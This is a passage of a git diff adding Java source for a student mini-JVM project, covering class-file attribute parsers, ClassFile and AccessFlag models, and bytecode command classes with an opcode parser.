+				attr.setLocalVariableTable(LocalVariableTable.parse(iter));
+			}else if(AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				attr.setStackMapTable(StackMapTable.parse(iter));
+			}else{
+				//TODO 
+				throw new RuntimeException("CodeAttr.parse not implement " + subAttrName);
+			}
+		}
+		return attr;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..f83202d6c3
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		LineNumberTable table = new LineNumberTable(attrNameIndex, attrLen);
+		int lineNumberTableLen = iter.nextU2ToInt();
+		for(int i=0;i<lineNumberTableLen;i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..f70535a3dc
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		LocalVariableTable table = new LocalVariableTable(attrNameIndex, attrLen);
+		int localVarLen = iter.nextU2ToInt();
+		for(int i=0;i<localVarLen;i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..471f04d265
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,121 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	private List<Field> fields = new ArrayList<>();
+	private List<Method> methods = new ArrayList<>();
+	
+	
+	public ConstantPool getPool() {
+		return pool;
+	}
+	public void setPool(ConstantPool pool) {
+		this.pool = pool;
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	public void setMethods(List<Method> methods) {
+		this.methods = methods;
+	}
+	public void setClzIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	public List<Field> getFields() {
+		return fields;
+	}
+	public void setFields(List<Field> fields) {
+		this.fields = fields;
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method m : this.methods){
+			String mName = this.getConstantPool().getUTF8String(m.getNameIndex());
+			String pAndRT = this.getConstantPool().getUTF8String(m.getDescriptorIndex());
+			if(methodName.equals(mName) 
+					&& paramAndReturnType.equals(pAndRT)){
+				return m;
+			}
+		}
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return getMethod("main", "([Ljava/lang/String;)V");
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..fca703c59a
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,138 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		List<ByteCodeCommand> cmds = new ArrayList<>();
+		CommandIterator iter = new CommandIterator(codes);
+		while(iter.hasNext()){
+			String opCode = iter.next2CharAsString().toUpperCase();
+			if(new_object.equals(opCode)){
+				NewObjectCmd newObjCmd = new NewObjectCmd(clzFile, opCode);
+				newObjCmd.setOprand1(iter.next2CharAsInt());
+				newObjCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(newObjCmd);
+			}else if(getfield.equals(opCode)){
+				GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, opCode);
+				getFieldCmd.setOprand1(iter.next2CharAsInt());
+				getFieldCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(getFieldCmd);
+			}else if(getstatic.equals(opCode)){
+				GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, opCode);
+				getStaticFieldCmd.setOprand1(iter.next2CharAsInt());
+				getStaticFieldCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(getStaticFieldCmd);
+			}else if(putfield.equals(opCode)){
+				PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, opCode);
+				putFieldCmd.setOprand1(iter.next2CharAsInt());
+				putFieldCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(putFieldCmd);
+			}else if(invokevirtual.equals(opCode)){
+				InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, opCode);
+				invokeVirtualCmd.setOprand1(iter.next2CharAsInt());
+				invokeVirtualCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(invokeVirtualCmd);
+			}else if(invokespecial.equals(opCode)){
+				InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, opCode);
+				invokeSpecialCmd.setOprand1(iter.next2CharAsInt());
+				invokeSpecialCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(invokeSpecialCmd);
+			}else if(ldc.equals(opCode)){
+				LdcCmd ldcCmd = new LdcCmd(clzFile, opCode);
+				ldcCmd.setOperand(iter.next2CharAsInt());
+				cmds.add(ldcCmd);
+			}else if(bipush.equals(opCode)){
+				BiPushCmd biPushCmd = new BiPushCmd(clzFile, opCode);
+				biPushCmd.setOperand(iter.next2CharAsInt());
+				cmds.add(biPushCmd);
+			}else if(dup.equals(opCode) || aload_0.equals(opCode)
+				|| aload_1.equals(opCode) || aload_2.equals(opCode)
+				|| astore_1.equals(opCode) || voidreturn.equals(opCode)
+				|| iload.equals(opCode) || iload_1.equals(opCode)
+				|| iload_2.equals(opCode) || iload_3.equals(opCode)){
+				NoOperandCmd noOpCmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(noOpCmd);
+			}else{
+				throw new RuntimeException("cmd " + opCode + " has not bean implemented yet.");
+			}
+		}
+		calcuateOffset(cmds);
+		ByteCodeCommand[] byteCodeCmds = new ByteCodeCommand[cmds.size()];
+		return cmds.toArray(byteCodeCmds);
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
